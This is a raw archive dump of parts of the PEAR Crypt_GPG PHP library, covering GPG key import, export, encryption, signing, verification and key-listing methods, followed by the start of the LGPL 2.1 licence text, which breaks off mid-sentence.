     * @throws Crypt_GPG_FileException if the key file is not readable.
     *
     * @throws Crypt_GPG_BadPassphraseException if a required passphrase is
     *         incorrect or if a required passphrase is not specified. See
     *         {@link Crypt_GPG::addPassphrase()}.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    protected function _importKey($key, $isFile)
    {
        $result    = array();
        $arguments = array();
        $input     = $this->_prepareInput($key, $isFile, false);
        $version   = $this->engine->getVersion();

        if (version_compare($version, '1.0.5', 'ge')
            && version_compare($version, '1.0.7', 'lt')
        ) {
            $arguments[] = '--allow-secret-key-import';
        }

        if (empty($this->passphrases)) {
            $arguments[] = '--batch';
        }

        $this->engine->reset();
        $this->engine->setPins($this->passphrases);
        $this->engine->setOperation('--import', $arguments);
        $this->engine->setInput($input);
        $this->engine->run();

        return $this->engine->getProcessData('Import');
    }

    /**
     * Exports a private or public key from the keyring
     *
     * If more than one key fingerprint is available for the specified
     * <kbd>$keyId</kbd> (for example, if you use a non-unique uid) only the
     * first key is exported.
     *
     * @param string  $keyId   either the full uid of the key, the email
     *                         part of the uid of the key or the key id.
     * @param bool    $armor   optional. If true, ASCII armored data is returned;
     *                         otherwise, binary data is returned. Defaults to
     *                         true.
     * @param bool    $private return private instead of public key
     *
     * @return string the key data.
     *
     * @throws Crypt_GPG_KeyNotFoundException if a key with the given
     *         <kbd>$keyId</kbd> is not found.
     *
     * @throws Crypt_GPG_BadPassphraseException if a required passphrase is
     *         incorrect or if a required passphrase is not specified. See
     *         {@link Crypt_GPG::addPassphrase()}.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    protected function _exportKey($keyId, $armor = true, $private = false)
    {
        $fingerprint = $this->getFingerprint($keyId);

        if ($fingerprint === null) {
            throw new Crypt_GPG_KeyNotFoundException(
                'Key not found: ' . $keyId,
                self::ERROR_KEY_NOT_FOUND,
                $keyId
            );
        }

        $keyData   = '';
        $operation = $private ? '--export-secret-keys' : '--export';
        $operation .= ' -- ' . escapeshellarg($fingerprint);
        $arguments = $armor ? array('--armor') : array();

        $this->engine->reset();
        $this->engine->setPins($this->passphrases);
        $this->engine->setOutput($keyData);
        $this->engine->setOperation($operation, $arguments);
        $this->engine->run();

        return $keyData;
    }

    /**
     * Encrypts data
     *
     * @param string      $data       The data to encrypt.
     * @param bool        $isFile     Whether or not the data is a filename.
     * @param string|null $outputFile The filename of the file in which to store
     *                                the encrypted data. If null, the encrypted
     *                                data is returned as a string.
     * @param bool        $armor      If true, ASCII armored data is returned;
     *                                otherwise, binary data is returned.
     *
     * @return void|string if the <kbd>$outputFile</kbd> parameter is null, a
     *                     string containing the encrypted data is returned.
     *
     * @throws Crypt_GPG_KeyNotFoundException if no encryption key is specified.
     *         See {@link Crypt_GPG::addEncryptKey()}.
     *
     * @throws Crypt_GPG_FileException if the output file is not writeable or
     *         if the input file is not readable.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    protected function _encrypt($data, $isFile, $outputFile, $armor)
    {
        if (!$this->hasEncryptKeys()) {
            throw new Crypt_GPG_KeyNotFoundException(
                'No encryption keys specified.'
            );
        }

        $input     = $this->_prepareInput($data, $isFile);
        $output    = $this->_prepareOutput($outputFile, $input);
        $arguments = $armor ? array('--armor') : array();

        foreach ($this->encryptKeys as $key) {
            $arguments[] = '--recipient ' . escapeshellarg($key['fingerprint']);
        }

        $this->engine->reset();
        $this->engine->setInput($input);
        $this->engine->setOutput($output);
        $this->engine->setOperation('--encrypt', $arguments);
        $this->engine->run();

        if ($outputFile === null) {
            return $output;
        }
    }

    /**
     * Decrypts data
     *
     * @param string      $data       The data to be decrypted.
     * @param bool        $isFile     Whether or not the data is a filename.
     * @param string|null $outputFile The name of the file to which the decrypted
     *                                data should be written. If null, the decrypted
     *                                data is returned as a string.
     *
     * @return void|string if the <kbd>$outputFile</kbd> parameter is null, a
     *                     string containing the decrypted data is returned.
     *
     * @throws Crypt_GPG_KeyNotFoundException if the private key needed to
     *         decrypt the data is not in the user's keyring.
     *
     * @throws Crypt_GPG_NoDataException if specified data does not contain
     *         GPG encrypted data.
     *
     * @throws Crypt_GPG_BadPassphraseException if a required passphrase is
     *         incorrect or if a required passphrase is not specified. See
     *         {@link Crypt_GPG::addDecryptKey()}.
     *
     * @throws Crypt_GPG_FileException if the output file is not writeable or
     *         if the input file is not readable.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    protected function _decrypt($data, $isFile, $outputFile)
    {
        $input  = $this->_prepareInput($data, $isFile, false);
        $output = $this->_prepareOutput($outputFile, $input);

        $this->engine->reset();
        $this->engine->setPins($this->decryptKeys);
        $this->engine->setOperation('--decrypt --skip-verify');
        $this->engine->setInput($input);
        $this->engine->setOutput($output);
        $this->engine->run();

        if ($outputFile === null) {
            return $output;
        }
    }

    /**
     * Signs data
     *
     * @param string      $data       The data to be signed.
     * @param bool        $isFile     Whether or not the data is a filename.
     * @param string|null $outputFile The name of the file in which the signed data
     *                                should be stored. If null, the signed data is
     *                                returned as a string.
     * @param int         $mode       The data signing mode to use. Should be one of
     *                                {@link Crypt_GPG::SIGN_MODE_NORMAL},
     *                                {@link Crypt_GPG::SIGN_MODE_CLEAR} or
     *                                {@link Crypt_GPG::SIGN_MODE_DETACHED}.
     * @param bool        $armor      If true, ASCII armored data is returned;
     *                                otherwise, binary data is returned. This has
     *                                no effect if the mode
     *                                <kbd>Crypt_GPG::SIGN_MODE_CLEAR</kbd> is
     *                                used.
     * @param bool        $textmode   If true, line-breaks in signed data be
     *                                normalized. Use this option when signing
     *                                e-mail, or for greater compatibility between
     *                                systems with different line-break formats.
     *                                Defaults to false. This has no effect if the
     *                                mode <kbd>Crypt_GPG::SIGN_MODE_CLEAR</kbd> is
     *                                used as clear-signing always uses textmode.
     *
     * @return void|string if the <kbd>$outputFile</kbd> parameter is null, a
     *                     string containing the signed data (or the signature
     *                     data if a detached signature is requested) is
     *                     returned.
     *
     * @throws Crypt_GPG_KeyNotFoundException if no signing key is specified.
     *         See {@link Crypt_GPG::addSignKey()}.
     *
     * @throws Crypt_GPG_BadPassphraseException if a specified passphrase is
     *         incorrect or if a required passphrase is not specified.
     *
     * @throws Crypt_GPG_FileException if the output file is not writeable or
     *         if the input file is not readable.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    protected function _sign($data, $isFile, $outputFile, $mode, $armor,
        $textmode
    ) {
        if (!$this->hasSignKeys()) {
            throw new Crypt_GPG_KeyNotFoundException(
                'No signing keys specified.'
            );
        }

        $input  = $this->_prepareInput($data, $isFile);
        $output = $this->_prepareOutput($outputFile, $input);

        switch ($mode) {
        case self::SIGN_MODE_DETACHED:
            $operation = '--detach-sign';
            break;
        case self::SIGN_MODE_CLEAR:
            $operation = '--clearsign';
            break;
        case self::SIGN_MODE_NORMAL:
        default:
            $operation = '--sign';
            break;
        }

        $arguments = array();

        if ($armor) {
            $arguments[] = '--armor';
        }
        if ($textmode) {
            $arguments[] = '--textmode';
        }

        foreach ($this->signKeys as $key) {
            $arguments[] = '--local-user ' .
                escapeshellarg($key['fingerprint']);
        }

        $this->engine->reset();
        $this->engine->setPins($this->signKeys);
        $this->engine->setInput($input);
        $this->engine->setOutput($output);
        $this->engine->setOperation($operation, $arguments);
        $this->engine->run();

        if ($outputFile === null) {
            return $output;
        }
    }

    /**
     * Encrypts and signs data
     *
     * @param string      $data       The data to be encrypted and signed.
     * @param bool        $isFile     Whether or not the data is a filename.
     * @param string|null $outputFile The name of the file in which the encrypted,
     *                                signed data should be stored. If null, the
     *                                encrypted, signed data is returned as a
     *                                string.
     * @param bool        $armor      If true, ASCII armored data is returned;
     *                                otherwise, binary data is returned.
     *
     * @return void|string if the <kbd>$outputFile</kbd> parameter is null, a
     *                     string containing the encrypted, signed data is
     *                     returned.
     *
     * @throws Crypt_GPG_KeyNotFoundException if no encryption key is specified
     *         or if no signing key is specified. See
     *         {@link Crypt_GPG::addEncryptKey()} and
     *         {@link Crypt_GPG::addSignKey()}.
     *
     * @throws Crypt_GPG_BadPassphraseException if a specified passphrase is
     *         incorrect or if a required passphrase is not specified.
     *
     * @throws Crypt_GPG_FileException if the output file is not writeable or
     *         if the input file is not readable.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    protected function _encryptAndSign($data, $isFile, $outputFile, $armor)
    {
        if (!$this->hasSignKeys()) {
            throw new Crypt_GPG_KeyNotFoundException(
                'No signing keys specified.'
            );
        }

        if (!$this->hasEncryptKeys()) {
            throw new Crypt_GPG_KeyNotFoundException(
                'No encryption keys specified.'
            );
        }

        $input     = $this->_prepareInput($data, $isFile);
        $output    = $this->_prepareOutput($outputFile, $input);
        $arguments = $armor ? array('--armor') : array();

        foreach ($this->signKeys as $key) {
            $arguments[] = '--local-user ' .
                escapeshellarg($key['fingerprint']);
        }

        foreach ($this->encryptKeys as $key) {
            $arguments[] = '--recipient ' . escapeshellarg($key['fingerprint']);
        }

        $this->engine->reset();
        $this->engine->setPins($this->signKeys);
        $this->engine->setInput($input);
        $this->engine->setOutput($output);
        $this->engine->setOperation('--encrypt --sign', $arguments);
        $this->engine->run();

        if ($outputFile === null) {
            return $output;
        }
    }

    /**
     * Verifies data
     *
     * @param string  $data      the signed data to be verified.
     * @param bool    $isFile    whether or not the data is a filename.
     * @param string  $signature if verifying a file signed using a detached
     *                           signature, this must be the detached signature
     *                           data. Otherwise, specify ''.
     *
     * @return array an array of {@link Crypt_GPG_Signature} objects for the
     *               signed data.
     *
     * @throws Crypt_GPG_KeyNotFoundException if the public key needed for
     *         signature verification is not in the user's keyring.
     *
     * @throws Crypt_GPG_NoDataException if the provided data is not signed
     *         data.
     *
     * @throws Crypt_GPG_FileException if the input file is not readable.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     *
     * @see Crypt_GPG_Signature
     */
    protected function _verify($data, $isFile, $signature)
    {
        if ($signature == '') {
            $operation = '--verify';
            $arguments = array();
        } else {
            // Signed data goes in FD_MESSAGE, detached signature data goes in
            // FD_INPUT.
            $operation = '--verify - "-&' . Crypt_GPG_Engine::FD_MESSAGE. '"';
            $arguments = array('--enable-special-filenames');
        }

        $input = $this->_prepareInput($data, $isFile, false);

        $this->engine->reset();

        if ($signature == '') {
            // signed or clearsigned data
            $this->engine->setInput($input);
        } else {
            // detached signature
            $this->engine->setInput($signature);
            $this->engine->setMessage($input);
        }

        $this->engine->setOperation($operation, $arguments);
        $this->engine->run();

        return $this->engine->getProcessData('Signatures');
    }

    /**
     * Decrypts and verifies encrypted, signed data
     *
     * @param string      $data               The encrypted signed data to be decrypted and
     *                                        verified.
     * @param bool        $isFile             Whether or not the data is a filename.
     * @param string|null $outputFile         The name of the file to which the decrypted
     *                                        data should be written. If null, the decrypted
     *                                        data is returned in the results array.
     * @param bool        $ignoreVerifyErrors Enables ignoring of signature verification
     *                                        errors caused by missing public key.
     *                                        When enabled Crypt_GPG_KeyNotFoundException
     *                                        will not be thrown.
     *
     * @return array two element array. The array has an element 'data'
     *               containing the decrypted data and an element
     *               'signatures' containing an array of
     *               {@link Crypt_GPG_Signature} objects for the signed data.
     *               If the decrypted data is written to a file, the 'data'
     *               element is null.
     *
     * @throws Crypt_GPG_KeyNotFoundException if the private key needed to
     *         decrypt the data is not in the user's keyring or if the public
     *         key needed for verification is not in the user's keyring.
     *
     * @throws Crypt_GPG_NoDataException if specified data does not contain
     *         GPG signed, encrypted data.
     *
     * @throws Crypt_GPG_BadPassphraseException if a required passphrase is
     *         incorrect or if a required passphrase is not specified. See
     *         {@link Crypt_GPG::addDecryptKey()}.
     *
     * @throws Crypt_GPG_FileException if the output file is not writeable or
     *         if the input file is not readable.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     *
     * @see Crypt_GPG_Signature
     */
    protected function _decryptAndVerify($data, $isFile, $outputFile, $ignoreVerifyErrors = false)
    {
        $input  = $this->_prepareInput($data, $isFile, false);
        $output = $this->_prepareOutput($outputFile, $input);

        $this->engine->reset();
        $this->engine->setPins($this->decryptKeys);
        $this->engine->setInput($input);
        $this->engine->setOutput($output);
        $this->engine->setOperation('--decrypt');
        $this->engine->setProcessData('IgnoreVerifyErrors', $ignoreVerifyErrors);
        $this->engine->run();

        $return = array(
            'data'       => null,
            'signatures' => $this->engine->getProcessData('Signatures')
        );

        if ($outputFile === null) {
            $return['data'] = $output;
        }

        return $return;
    }

    /**
     * Prepares command input
     *
     * @param string $data       The input data
     * @param bool   $isFile     Whether or not the input is a filename
     * @param bool   $allowEmpty Whether to check if the input is not empty
     *
     * @throws Crypt_GPG_NoDataException if the key data is missing.
     * @throws Crypt_GPG_FileException if the file is not readable.
     *
     * @return string The command input
     */
    protected function _prepareInput($data, $isFile = false, $allowEmpty = true)
    {
        if ($isFile) {
            $input = @fopen($data, 'rb');
            if ($input === false) {
                throw new Crypt_GPG_FileException(
                    'Could not open input file "' . $data . '"',
                    0,
                    $data
                );
            }
        } else {
            $input = strval($data);
            if (!$allowEmpty && $input === '') {
                throw new Crypt_GPG_NoDataException(
                    'No valid input data found.',
                    self::ERROR_NO_DATA
                );
            }
        }

        return $input;
    }

    /**
     * Prepares command output
     *
     * @param string|null $outputFile The name of the file in which the output
     *                                data should be stored. If null, the output
     *                                data is returned as a string.
     * @param resource    $input      The input resource, in case it would need
     *                                to be released (closed) on exception.
     *
     * @throws Crypt_GPG_FileException if the file is not writeable.
     *
     * @return string|resource The command output
     */
    protected function _prepareOutput($outputFile, $input = null)
    {
        if ($outputFile === null) {
            $output = '';
        } else {
            $output = @fopen($outputFile, 'wb');
            if ($output === false) {
                if (is_resource($input)) {
                    fclose($input);
                }
                throw new Crypt_GPG_FileException(
                    'Could not open output file "' . $outputFile . '"',
                    0,
                    $outputFile
                );
            }
        }

        return $output;
    }
}
PK
h�\����=?=?+vendor/pear/crypt_gpg/Crypt/GPGAbstract.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * Crypt_GPG is a package to use GPG from PHP
 *
 * This package provides an object oriented interface to GNU Privacy
 * Guard (GPG). It requires the GPG executable to be on the system.
 *
 * Though GPG can support symmetric-key cryptography, this package is intended
 * only to facilitate public-key cryptography.
 *
 * This file contains an abstract implementation of a user of the
 * {@link Crypt_GPG_Engine} class.
 *
 * LICENSE:
 *
 * This library is free software; you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as
 * published by the Free Software Foundation; either version 2.1 of the
 * License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, see
 * <http://www.gnu.org/licenses/>
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Nathan Fredrickson <nathan@silverorange.com>
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2005-2013 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 * @link      http://pear.php.net/manual/en/package.encryption.crypt-gpg.php
 * @link      http://www.gnupg.org/
 */

/**
 * GPG key class
 */
require_once 'Crypt/GPG/Key.php';

/**
 * GPG sub-key class
 */
require_once 'Crypt/GPG/SubKey.php';

/**
 * GPG user id class
 */
require_once 'Crypt/GPG/UserId.php';

/**
 * GPG process and I/O engine class
 */
require_once 'Crypt/GPG/Engine.php';

/**
 * Base class for implementing a user of {@link Crypt_GPG_Engine}
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Nathan Fredrickson <nathan@silverorange.com>
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2005-2013 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 * @link      http://www.gnupg.org/
 */
abstract class Crypt_GPGAbstract
{
    /**
     * Error code returned when there is no error.
     */
    const ERROR_NONE = 0;

    /**
     * Error code returned when an unknown or unhandled error occurs.
     */
    const ERROR_UNKNOWN = 1;

    /**
     * Error code returned when a bad passphrase is used.
     */
    const ERROR_BAD_PASSPHRASE = 2;

    /**
     * Error code returned when a required passphrase is missing.
     */
    const ERROR_MISSING_PASSPHRASE = 3;

    /**
     * Error code returned when a key that is already in the keyring is
     * imported.
     */
    const ERROR_DUPLICATE_KEY = 4;

    /**
     * Error code returned the required data is missing for an operation.
     *
     * This could be missing key data, missing encrypted data or missing
     * signature data.
     */
    const ERROR_NO_DATA = 5;

    /**
     * Error code returned when an unsigned key is used.
     */
    const ERROR_UNSIGNED_KEY = 6;

    /**
     * Error code returned when a key that is not self-signed is used.
     */
    const ERROR_NOT_SELF_SIGNED = 7;

    /**
     * Error code returned when a public or private key that is not in the
     * keyring is used.
     */
    const ERROR_KEY_NOT_FOUND = 8;

    /**
     * Error code returned when an attempt to delete public key having a
     * private key is made.
     */
    const ERROR_DELETE_PRIVATE_KEY = 9;

    /**
     * Error code returned when one or more bad signatures are detected.
     */
    const ERROR_BAD_SIGNATURE = 10;

    /**
     * Error code returned when there is a problem reading GnuPG data files.
     */
    const ERROR_FILE_PERMISSIONS = 11;

    /**
     * Error code returned when a key could not be created.
     */
    const ERROR_KEY_NOT_CREATED = 12;

    /**
     * Error code returned when bad key parameters are used during key
     * generation.
     */
    const ERROR_BAD_KEY_PARAMS = 13;

    /**
     * URI at which package bugs may be reported.
     */
    const BUG_URI = 'http://pear.php.net/bugs/report.php?package=Crypt_GPG';

    /**
     * Engine used to control the GPG subprocess
     *
     * @var Crypt_GPG_Engine
     *
     * @see Crypt_GPGAbstract::setEngine()
     */
    protected $engine = null;

    /**
     * Creates a new GPG object
     *
     * Available options are:
     *
     * - <kbd>string homedir</kbd> - the directory where the GPG keyring files are
     *                      stored. If not specified, Crypt_GPG uses the default
     *                      of <kbd>~/.gnupg</kbd>.
     * - <kbd>string publicKeyring</kbd> - the file path of the public keyring.
     *                      Use this if the public keyring is not in the homedir,
     *                      or if the keyring is in a directory not writable
     *                      by the process invoking GPG (like Apache). Then you
     *                      can specify the path to the keyring with this option
     *                      (/foo/bar/pubring.gpg), and specify a writable directory
     *                      (like /tmp) using the <i>homedir</i> option.
     * - <kbd>string privateKeyring</kbd> - the file path of the private keyring.
     *                      Use this if the private keyring is not in the homedir,
     *                      or if the keyring is in a directory not writable
     *                      by the process invoking GPG (like Apache). Then
     *                      you can specify the path to the keyring with this option
     *                      (/foo/bar/secring.gpg), and specify a writable directory
     *                      (like /tmp) using the <i>homedir</i> option.
     * - <kbd>string trustDb</kbd> - the file path of the web-of-trust database.
     *                      Use this if the trust database is not in the homedir, or
     *                      if the database is in a directory not writable
     *                      by the process invoking GPG (like Apache). Then you can
     *                      specify the path to the trust database with this option
     *                      (/foo/bar/trustdb.gpg), and specify a writable directory
     *                      (like /tmp) using the <i>homedir</i> option.
     * - <kbd>string binary</kbd> - the location of the GPG binary.
     *                      If not specified, the driver attempts to auto-detect
     *                      the GPG binary location using a list of known default
     *                      locations for the current operating system. The option
     *                      <kbd>gpgBinary</kbd> is a deprecated alias.
     * - <kbd>string agent</kbd> - the location of the GnuPG agent binary.
     *                      The gpg-agent is only used for GnuPG 2.x. If not
     *                      specified, the engine attempts to auto-detect
     *                      the gpg-agent binary location using a list of
     *                      know default locations for the current operating system.
     * - <kbd>string|false gpgconf</kbd> - the location of the GnuPG conf binary.
     *                      The gpgconf is only used for GnuPG >= 2.1. If not
     *                      specified, the engine attempts to auto-detect
     *                      the location using a list of know default locations.
     *                      When set to FALSE `gpgconf --kill` will not be executed
     *                      via destructor.
     * - <kbd>string digest-algo</kbd> - Sets the message digest algorithm.
     * - <kbd>string cipher-algo</kbd> - Sets the symmetric cipher.
     * - <kbd>string compress-algo</kbd> - Sets the compression algorithm.
     * - <kbd>bool   strict</kbd> - In strict mode clock problems on subkeys
     *                      and signatures are not ignored (--ignore-time-conflict
     *                      and --ignore-valid-from options).
     * - <kbd>mixed debug</kbd> - whether or not to use debug mode.
     *                      When debug mode is on, all communication to and from
     *                      the GPG subprocess is logged. This can be useful to
     *                      diagnose errors when using Crypt_GPG.
     * - <kbd>array options</kbd> - additional per-command options to the GPG
     *                      command. Key of the array is a command (e.g.
     *                      gen-key, import, sign, encrypt, list-keys).
     *                      Value is a string containing command line arguments to be
     *                      added to the related command. For example:
     *                      array('sign' => '--emit-version').
     *
     * @param array $options optional. An array of options used to create the
     *                       GPG object. All options are optional and are
     *                       represented as key-value pairs.
     *
     * @throws Crypt_GPG_FileException if the <kbd>homedir</kbd> does not exist
     *         and cannot be created. This can happen if <kbd>homedir</kbd> is
     *         not specified, Crypt_GPG is run as the web user, and the web
     *         user has no home directory. This exception is also thrown if any
     *         of the options <kbd>publicKeyring</kbd>,
     *         <kbd>privateKeyring</kbd> or <kbd>trustDb</kbd> options are
     *         specified but the files do not exist or are are not readable.
     *         This can happen if the user running the Crypt_GPG process (for
     *         example, the Apache user) does not have permission to read the
     *         files.
     *
     * @throws PEAR_Exception if the provided <kbd>binary</kbd> is invalid, or
     *         if no <kbd>binary</kbd> is provided and no suitable binary could
     *         be found.
     *
     * @throws PEAR_Exception if the provided <kbd>agent</kbd> is invalid, or
     *         if no <kbd>agent</kbd> is provided and no suitable gpg-agent
     *         could be found.
     */
    public function __construct(array $options = array())
    {
        $this->setEngine(new Crypt_GPG_Engine($options));
    }

    /**
     * Sets the I/O engine to use for GnuPG operations
     *
     * Normally this method does not need to be used. It provides a means for
     * dependency injection.
     *
     * @param Crypt_GPG_Engine $engine the engine to use.
     *
     * @return Crypt_GPGAbstract the current object, for fluent interface.
     */
    public function setEngine(Crypt_GPG_Engine $engine)
    {
        $this->engine = $engine;
        return $this;
    }

    /**
     * Sets per-command additional arguments
     *
     * @param array $options Additional per-command options for GPG command.
     *                       Note: This will unset options set previously.
     *                       Key of the array is a command (e.g.
     *                       gen-key, import, sign, encrypt, list-keys).
     *                       Value is a string containing command line arguments to be
     *                       added to the related command. For example:
     *                       array('sign' => '--emit-version').
     *
     * @return Crypt_GPGAbstract the current object, for fluent interface.
     */
    public function setEngineOptions(array $options)
    {
        $this->engine->setOptions($options);
        return $this;
    }

    /**
     * Returns version of the engine (GnuPG) used for operation.
     *
     * @return string GnuPG version.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    public function getVersion()
    {
        return $this->engine->getVersion();
    }

    /**
     * Gets the available keys in the keyring
     *
     * Calls GPG with the <kbd>--list-keys</kbd> command and grabs keys. See
     * the first section of <b>doc/DETAILS</b> in the
     * {@link http://www.gnupg.org/download/ GPG package} for a detailed
     * description of how the GPG command output is parsed.
     *
     * @param string $keyId optional. Only keys with that match the specified
     *                      pattern are returned. The pattern may be part of
     *                      a user id, a key id or a key fingerprint. If not
     *                      specified, all keys are returned.
     *
     * @return array an array of {@link Crypt_GPG_Key} objects. If no keys
     *               match the specified <kbd>$keyId</kbd> an empty array is
     *               returned.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     *
     * @see Crypt_GPG_Key
     */
    protected function _getKeys($keyId = '')
    {
        // get private key fingerprints
        if ($keyId == '') {
            $operation = '--list-secret-keys';
        } else {
            $operation = '--utf8-strings --list-secret-keys -- ' . escapeshellarg($keyId);
        }

        // According to The file 'doc/DETAILS' in the GnuPG distribution, using
        // double '--with-fingerprint' also prints the fingerprint for subkeys.
        $arguments = array(
            '--with-colons',
            '--with-fingerprint',
            '--with-fingerprint',
            '--fixed-list-mode'
        );

        $output = '';

        $this->engine->reset();
        $this->engine->setOutput($output);
        $this->engine->setOperation($operation, $arguments);
        $this->engine->run();

        $privateKeyFingerprints = array();

        foreach (explode(PHP_EOL, $output) as $line) {
            $lineExp = explode(':', $line);
            if ($lineExp[0] == 'fpr') {
                $privateKeyFingerprints[] = $lineExp[9];
            }
        }

        // get public keys
        if ($keyId == '') {
            $operation = '--list-public-keys';
        } else {
            $operation = '--utf8-strings --list-public-keys -- ' . escapeshellarg($keyId);
        }

        $output = '';

        $this->engine->reset();
        $this->engine->setOutput($output);
        $this->engine->setOperation($operation, $arguments);
        $this->engine->run();

        $keys   = array();
        $key    = null; // current key
        $subKey = null; // current sub-key

        foreach (explode(PHP_EOL, $output) as $line) {
            $lineExp = explode(':', $line);

            if ($lineExp[0] == 'pub') {

                // new primary key means last key should be added to the array
                if ($key !== null) {
                    $keys[] = $key;
                }

                $key = new Crypt_GPG_Key();

                $subKey = Crypt_GPG_SubKey::parse($line);
                $key->addSubKey($subKey);

            } elseif ($lineExp[0] == 'sub') {

                $subKey = Crypt_GPG_SubKey::parse($line);
                $key->addSubKey($subKey);

            } elseif ($lineExp[0] == 'fpr') {

                $fingerprint = $lineExp[9];

                // set current sub-key fingerprint
                $subKey->setFingerprint($fingerprint);

                // if private key exists, set has private to true
                if (in_array($fingerprint, $privateKeyFingerprints)) {
                    $subKey->setHasPrivate(true);
                }

            } elseif ($lineExp[0] == 'uid') {

                $string = stripcslashes($lineExp[9]); // as per documentation
                $userId = new Crypt_GPG_UserId($string);

                if ($lineExp[1] == 'r') {
                    $userId->setRevoked(true);
                }

                $key->addUserId($userId);

            }
        }

        // add last key
        if ($key !== null) {
            $keys[] = $key;
        }

        return $keys;
    }
}
PK
h�\X��j�g�gvendor/pear/crypt_gpg/LICENSEnu�[���              GNU LESSER GENERAL PUBLIC LICENSE
                  Version 2.1, February 1999

 Copyright (C) 1991, 1999 Free Software Foundation, Inc.
     51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

[This is the first released version of the Lesser GPL.  It also counts
 as the successor of the GNU Library Public License, version 2, hence
 the version number 2.1.]

                           Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.

  This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it.  You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.

  When we speak of free software, we are referring to freedom of use,
not price.  Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.

  To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights.  These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.

  For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you.  You must make sure that they, too, receive or can get the source
code.  If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it.  And you must show them these terms so they know their rights.

  We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.

  To protect each distributor, we want to make it very clear that
there is no warranty for the free library.  Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.

  Finally, software patents pose a constant threat to the existence of
any free program.  We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder.  Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.

  Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License.  This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License.  We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.

  When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library.  The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom.  The Lesser General
Public License permits more lax criteria for linking other code with
the library.

  We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License.  It also provides other free software developers Less
of an advantage over competing non-free programs.  These disadvantages
are the reason we use the ordinary General Public License for many
libraries.  However, the Lesser license provides advantages in certain
special circumstances.

  For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard.  To achieve this, non-free programs must be
allowed to use the library.  A more frequent case is that a free
library does the same job as widely used non-free libraries.  In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.

  In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software.  For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.

  Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.

  The precise terms and conditions for copying, distribution and
modification follow.  Pay close attention to the difference between a
"work based on the library" and a "work that uses the library".  The
former contains code derived from the library, whereas the latter must
